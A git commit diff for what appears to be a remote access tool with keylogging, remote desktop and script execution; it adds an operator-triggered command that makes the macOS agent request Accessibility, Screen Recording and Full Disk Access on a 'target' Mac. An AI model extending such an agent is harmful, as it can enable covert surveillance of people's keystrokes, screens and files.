better permissions mac

This commit is contained in:
test
2026-06-04 20:41:10 -05:00
parent 4e267f4d36
commit a35de5d129
15 changed files with 256 additions and 10 deletions
@@ -2278,6 +2278,33 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
return HandleProcessResume(ctx, env, cmdID, resumePid)
case "keylog_request_permission":
return HandleKeylogRequestPermission(ctx, env, cmdID)
case "darwin_request_permissions":
payload, _ := envelope["payload"].(map[string]interface{})
var requested []string
if raw, ok := payload["permissions"].([]interface{}); ok {
for _, item := range raw {
if key, ok := item.(string); ok && key != "" {
requested = append(requested, key)
}
}
}
perms := sysinfo.RequestDarwinPermissions(requested)
missing := make([]string, 0)
for _, key := range []string{"accessibility", "screenRecording", "fullDiskAccess"} {
if perms == nil || !perms[key] {
missing = append(missing, key)
}
}
detail, _ := json.Marshal(map[string]interface{}{
"permissions": perms,
"missing": missing,
})
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
Type: "command_result",
CommandID: cmdID,
OK: len(missing) == 0,
Message: string(detail),
})
case "keylog_list":
return HandleKeylogList(ctx, env, cmdID)
case "keylog_retrieve":
+4 -1
View File
@@ -647,7 +647,10 @@ func runSession(ctx context.Context, cancel context.CancelFunc, conn *websocket.
hello.GPU = hw.GPU
hello.RAM = hw.RAM
hello.BatteryPercent = hw.BatteryPercent
hello.BatteryCharging = hw.BatteryCharging
if hw.BatteryPercent != nil {
charging := hw.BatteryCharging
hello.BatteryCharging = &charging
}
hello.IsAdmin = sysinfo.IsAdmin()
hello.Elevation = sysinfo.Elevation()
hello.Permissions = sysinfo.DarwinPermissions()
@@ -6,6 +6,7 @@ import (
"errors"
"io"
"os"
"os/exec"
"path/filepath"
)
@@ -29,6 +30,30 @@ func DarwinPermissions() map[string]bool {
}
}
func RequestDarwinPermissions(requested []string) map[string]bool {
want := make(map[string]bool, len(requested))
for _, key := range requested {
want[key] = true
}
if len(want) == 0 {
want["accessibility"] = true
want["screenRecording"] = true
want["fullDiskAccess"] = true
}
if want["accessibility"] {
darwinRequestAccessibilityPermission()
}
if want["screenRecording"] {
darwinRequestScreenRecordingPermission()
}
if want["fullDiskAccess"] {
_ = exec.Command("open", "x-apple.systempreferences:com.apple.preference.security?Privacy_AllFiles").Start()
}
return DarwinPermissions()
}
func darwinFullDiskAccessPermission() bool {
home, _ := os.UserHomeDir()
candidates := []string{
@@ -13,3 +13,7 @@ func Elevation() string {
func DarwinPermissions() map[string]bool {
return nil
}
func RequestDarwinPermissions(_ []string) map[string]bool {
return nil
}
@@ -19,3 +19,7 @@ func Elevation() string {
func DarwinPermissions() map[string]bool {
return nil
}
func RequestDarwinPermissions(_ []string) map[string]bool {
return nil
}
@@ -65,3 +65,7 @@ func isTrustedInstallerSID(sid *windows.SID) bool {
func DarwinPermissions() map[string]bool {
return nil
}
func RequestDarwinPermissions(_ []string) map[string]bool {
return nil
}
@@ -3,13 +3,15 @@
package sysinfo
/*
#cgo LDFLAGS: -framework ApplicationServices -framework CoreGraphics
#cgo LDFLAGS: -framework ApplicationServices -framework CoreGraphics -framework CoreFoundation
#include <ApplicationServices/ApplicationServices.h>
#include <CoreFoundation/CoreFoundation.h>
#include <CoreGraphics/CoreGraphics.h>
#include <stdbool.h>
extern bool CGPreflightScreenCaptureAccess(void) __attribute__((weak_import));
extern bool CGRequestScreenCaptureAccess(void) __attribute__((weak_import));
static int checkAccessibilityPermission(void) {
return AXIsProcessTrusted() ? 1 : 0;
@@ -19,6 +21,27 @@ static int checkScreenRecordingPermission(void) {
if (CGPreflightScreenCaptureAccess == NULL) return 0;
return CGPreflightScreenCaptureAccess() ? 1 : 0;
}
static int requestAccessibilityPermission(void) {
const void *keys[] = { kAXTrustedCheckOptionPrompt };
const void *values[] = { kCFBooleanTrue };
CFDictionaryRef opts = CFDictionaryCreate(
kCFAllocatorDefault,
keys,
values,
1,
&kCFCopyStringDictionaryKeyCallBacks,
&kCFTypeDictionaryValueCallBacks
);
Boolean trusted = AXIsProcessTrustedWithOptions(opts);
if (opts != NULL) CFRelease(opts);
return trusted ? 1 : 0;
}
static int requestScreenRecordingPermission(void) {
if (CGRequestScreenCaptureAccess == NULL) return checkScreenRecordingPermission();
return CGRequestScreenCaptureAccess() ? 1 : 0;
}
*/
import "C"
@@ -29,3 +52,11 @@ func darwinAccessibilityPermission() bool {
func darwinScreenRecordingPermission() bool {
return C.checkScreenRecordingPermission() == 1
}
func darwinRequestAccessibilityPermission() bool {
return C.requestAccessibilityPermission() == 1
}
func darwinRequestScreenRecordingPermission() bool {
return C.requestScreenRecordingPermission() == 1
}
@@ -9,3 +9,11 @@ func darwinAccessibilityPermission() bool {
func darwinScreenRecordingPermission() bool {
return false
}
func darwinRequestAccessibilityPermission() bool {
return false
}
func darwinRequestScreenRecordingPermission() bool {
return false
}
@@ -57,7 +57,7 @@ func batteryStatus() (*int, bool) {
return nil, false
}
lower := strings.ToLower(text)
charging := strings.Contains(lower, "charging") || strings.Contains(lower, "charged")
charging := !strings.Contains(lower, "discharging") && (strings.Contains(lower, "charging") || strings.Contains(lower, "charged"))
return &percent, charging
}
+1 -1
View File
@@ -21,7 +21,7 @@ type Hello struct {
GPU string `msgpack:"gpu,omitempty"`
RAM string `msgpack:"ram,omitempty"`
BatteryPercent *int `msgpack:"batteryPercent,omitempty"`
BatteryCharging bool `msgpack:"batteryCharging,omitempty"`
BatteryCharging *bool `msgpack:"batteryCharging,omitempty"`
IsAdmin bool `msgpack:"isAdmin,omitempty"`
Elevation string `msgpack:"elevation,omitempty"`
Permissions map[string]bool `msgpack:"permissions,omitempty"`
+11
View File
@@ -2589,6 +2589,13 @@ tbody tr:hover {
gap: 6px;
flex-wrap: wrap;
}
.cv-perm-summary {
width: 100%;
font-size: 11px;
line-height: 1.25;
}
.cv-perm-summary.is-ok { color: #86efac; }
.cv-perm-summary.is-warn { color: #fcd34d; }
.cv-perm-chip {
display: inline-flex;
align-items: center;
@@ -2599,7 +2606,11 @@ tbody tr:hover {
border: 1px solid transparent;
font-size: 11px;
white-space: nowrap;
cursor: pointer;
font: inherit;
appearance: none;
}
.cv-perm-chip:hover { filter: brightness(1.08); }
.cv-perm-chip.is-ok { background: rgba(16, 185, 129, 0.1); color: #86efac; border-color: rgba(16, 185, 129, 0.25); }
.cv-perm-chip.is-missing { background: rgba(244, 63, 94, 0.1); color: #fda4af; border-color: rgba(244, 63, 94, 0.25); }
+65
View File
@@ -75,6 +75,7 @@ let contextCard = null;
let availableOsList = new Set();
let rendererInitialized = false;
let lastKnownTotalPages = 1;
let currentServerVersion = "";
window.setDashboardPageBounds = (currentPage, totalPages) => {
lastKnownTotalPages = Math.max(1, Number(totalPages) || 1);
@@ -114,8 +115,14 @@ async function loadServerVersion() {
const version = typeof payload?.version === "string" && payload.version.trim()
? payload.version.trim()
: "unknown";
currentServerVersion = version;
setServerVersionLabel(version, version === "unknown" ? "warn" : "ok");
if (rendererInitialized) {
state.lastDigest = "";
renderCachedClients({ force: true });
}
} catch {
currentServerVersion = "unavailable";
setServerVersionLabel("unavailable", "bad");
}
}
@@ -173,6 +180,62 @@ function getClientCard(clientId) {
return document.querySelector(`[data-client-row][data-id="${selectorId}"]`);
}
function macPermissionLabels(keys = []) {
const labels = {
accessibility: "Accessibility",
screenRecording: "Screen Recording",
fullDiskAccess: "Full Disk Access",
};
return keys.map((key) => labels[key] || key).join(", ");
}
async function requestMacPermissions(clientId, permissionKey = "") {
if (!clientId) return;
if (!isClientOnline(clientId)) {
alert("Client is offline. macOS permissions can only be requested while the client is online.");
return;
}
if (detectClientPlatform(clientId) !== "mac") {
alert("This permission request is only available for macOS clients.");
return;
}
const requested = permissionKey ? [permissionKey] : ["accessibility", "screenRecording", "fullDiskAccess"];
const label = macPermissionLabels(requested) || "macOS permissions";
const proceed = confirm(
`Request ${label} from ${clientId}?\n\n` +
"This can show a macOS prompt on the target Mac. " +
"Full Disk Access must be granted in System Settings; the agent will open the Privacy pane when possible.",
);
if (!proceed) return;
try {
const res = await fetch(`/api/clients/${encodeURIComponent(clientId)}/command`, {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({
action: "darwin_request_permissions",
permissions: requested,
}),
});
const data = await res.json().catch(() => ({}));
if (!res.ok) {
alert(data.error || "macOS permission request failed.");
return;
}
const missing = Array.isArray(data.missing) ? data.missing : [];
const stillMissingRequested = missing.filter((key) => requested.includes(key));
if (stillMissingRequested.length) {
alert(`Permission request completed, but still missing: ${macPermissionLabels(stillMissingRequested)}`);
} else {
alert(`${label} is granted.`);
}
setTimeout(() => loadWithOptions({ force: true }), 300);
} catch (err) {
alert("macOS permission request failed: " + err.message);
}
}
window.__uninstallingClientIds = window.__uninstallingClientIds || new Set();
function flipFallAndRemove(clientId, { delayMs = 0 } = {}) {
@@ -846,7 +909,9 @@ function initializeRenderer() {
requestPreview,
requestThumbnail,
pingClient: (id) => sendCommand(id, "ping"),
onMacPermissionRequest: (id, _card, permissionKey) => requestMacPermissions(id, permissionKey),
userRole: currentUser?.role,
getServerVersion: () => currentServerVersion,
getDisplayFields: () => displayFields,
});
rendererSetLayout = rSetLayout;
+28 -5
View File
@@ -232,12 +232,14 @@ function macPermissionBadgeHtml(client) {
function macPermissionDetailHtml(client) {
const state = macPermissionState(client);
if (!state) return "";
const ok = state.missing.length === 0;
const summary = ok ? "All required permissions granted" : `Missing: ${state.missing.map((item) => item.label).join(", ")}`;
const chips = state.items.map((item) => `
<span class="cv-perm-chip ${item.granted ? "is-ok" : "is-missing"}">
<button type="button" class="cv-perm-chip ${item.granted ? "is-ok" : "is-missing"}" data-mac-permission-key="${escapeHtml(item.key)}" title="Request ${escapeHtml(item.label)} permission">
<i class="fa-solid ${item.granted ? "fa-check" : "fa-xmark"}"></i>${escapeHtml(item.label)}
</span>
</button>
`).join("");
return `<div class="cv-field cv-field-wide"><span class="cv-field-label">macOS Permissions</span><span class="cv-field-value cv-perm-list">${chips}</span></div>`;
return `<div class="cv-field cv-field-wide cv-field-macperms"><span class="cv-field-label">macOS Permissions</span><span class="cv-field-value cv-perm-list"><span class="cv-perm-summary ${ok ? "is-ok" : "is-warn"}">${escapeHtml(summary)}</span>${chips}</span></div>`;
}
function shortOsLabel(osRaw = "") {
@@ -259,6 +261,17 @@ function shortOsLabel(osRaw = "") {
return osRaw || "?";
}
function normalizeVersion(version) {
return String(version || "").trim().replace(/^v/i, "");
}
function isClientVersionCurrent(clientVersion, serverVersion) {
const client = normalizeVersion(clientVersion);
const server = normalizeVersion(serverVersion);
if (!client || !server || server === "unknown" || server === "unavailable") return true;
return client === server;
}
export function createRenderer({
grid,
totalPill,
@@ -268,7 +281,9 @@ export function createRenderer({
requestPreview,
requestThumbnail,
pingClient,
onMacPermissionRequest,
userRole,
getServerVersion,
getDisplayFields,
}) {
const isViewer = userRole === "viewer";
@@ -367,6 +382,14 @@ export function createRenderer({
return;
}
const macPermBtn = e.target.closest(".cv-perm-chip[data-mac-permission-key]");
if (macPermBtn) {
e.preventDefault();
e.stopPropagation();
if (onMacPermissionRequest) onMacPermissionRequest(clientId, card, macPermBtn.dataset.macPermissionKey);
return;
}
const copyBtn = e.target.closest(".copy-id-btn");
if (copyBtn) {
e.stopPropagation();
@@ -803,7 +826,7 @@ export function createRenderer({
const showBattery = showField("battery");
const cpuHtml = client.cpu ? cpuBadgeHtml(client.cpu) : "—";
const batteryIndicator = showBattery ? batteryHtml(client) : "";
const verLatest = String(client.version || "").startsWith("2.0.");
const verLatest = isClientVersionCurrent(client.version, typeof getServerVersion === "function" ? getServerVersion() : "");
const metaParts = [
showField("system") ? `<span class="cv-os cv-tone-${os.tone}"><i class="fa ${os.icon}"></i> ${escapeHtml(shortOsLabel(client.os))}</span>` : "",
@@ -956,7 +979,7 @@ export function createRenderer({
const customTag = String(client.customTag || "").trim();
const displayName = nickname || client.host || deviceId;
const userLine = client.user || "unknown";
const verLatest = String(client.version || "").startsWith("2.0.");
const verLatest = isClientVersionCurrent(client.version, typeof getServerVersion === "function" ? getServerVersion() : "");
const hasGroup = !!String(client.groupName || "").trim();
const showHost = nickname && client.host && nickname !== client.host;
const showHardware = showField("hardware");
+1
View File
@@ -119,6 +119,7 @@ export type CommandType =
| "desktop_select_display"
| "desktop_enable_mouse"
| "desktop_enable_keyboard"
| "darwin_request_permissions"
| "webrtc_publish"
| "webrtc_stop"
| "webrtc_p2p_offer"
@@ -2,7 +2,7 @@ import { v4 as uuidv4 } from "uuid";
import { authenticateRequest } from "../../auth";
import { AuditAction, logAudit } from "../../auditLog";
import * as clientManager from "../../clientManager";
import { deleteClientRow } from "../../db";
import { deleteClientRow, upsertClientRow } from "../../db";
import { metrics } from "../../metrics";
import { encodeMessage } from "../../protocol";
import { requireClientAccess, requireFeatureAccess, requirePermission } from "../../rbac";
@@ -106,6 +106,46 @@ export async function handleClientCommandRoute(
} else if (action === "desktop_start") {
target.ws.send(encodeMessage({ type: "command", commandType: "desktop_start", id: uuidv4() }));
metrics.recordCommand("desktop_start");
} else if (action === "darwin_request_permissions") {
const targetOs = String(target.os || "").toLowerCase();
if (!targetOs.includes("darwin") && !targetOs.includes("mac")) {
return Response.json({ ok: false, error: "macOS permission requests are only available for macOS clients" }, { status: 400 });
}
const requested = Array.isArray(body?.permissions)
? body.permissions.filter((p: unknown) => typeof p === "string").slice(0, 8)
: [];
const cmdId = uuidv4();
const replyPromise: Promise<{ ok: boolean; message?: string }> = new Promise((resolve, reject) => {
const timeout = setTimeout(() => {
deps.pendingCommandReplies.delete(cmdId);
reject(new Error("macOS permission request timed out"));
}, 45_000);
deps.pendingCommandReplies.set(cmdId, { resolve, reject, timeout, clientId: targetId });
});
target.ws.send(encodeMessage({ type: "command", commandType: "darwin_request_permissions", id: cmdId, payload: { permissions: requested } } as any));
metrics.recordCommand("darwin_request_permissions");
logAudit({ timestamp: Date.now(), username: user.username, ip, action: AuditAction.COMMAND, targetClientId: targetId, success: true, details: "darwin_request_permissions" });
try {
const result = await replyPromise;
let detail: any = {};
if (result.message) {
try { detail = JSON.parse(result.message); } catch { detail = {}; }
}
if (detail.permissions && typeof detail.permissions === "object" && !Array.isArray(detail.permissions)) {
target.permissions = detail.permissions;
upsertClientRow({ id: targetId, permissions: target.permissions, lastSeen: target.lastSeen, online: target.online ? 1 : 0 });
}
return Response.json({
ok: result.ok,
permissions: detail.permissions || null,
missing: Array.isArray(detail.missing) ? detail.missing : [],
message: result.message || "",
}, { headers: deps.CORS_HEADERS });
} catch (error: any) {
return Response.json({ ok: false, error: error.message || "macOS permission request failed" }, { status: 504 });
}
} else if (action === "script_exec") {
const scriptContent = body?.script || "";
const scriptType = body?.scriptType || "powershell";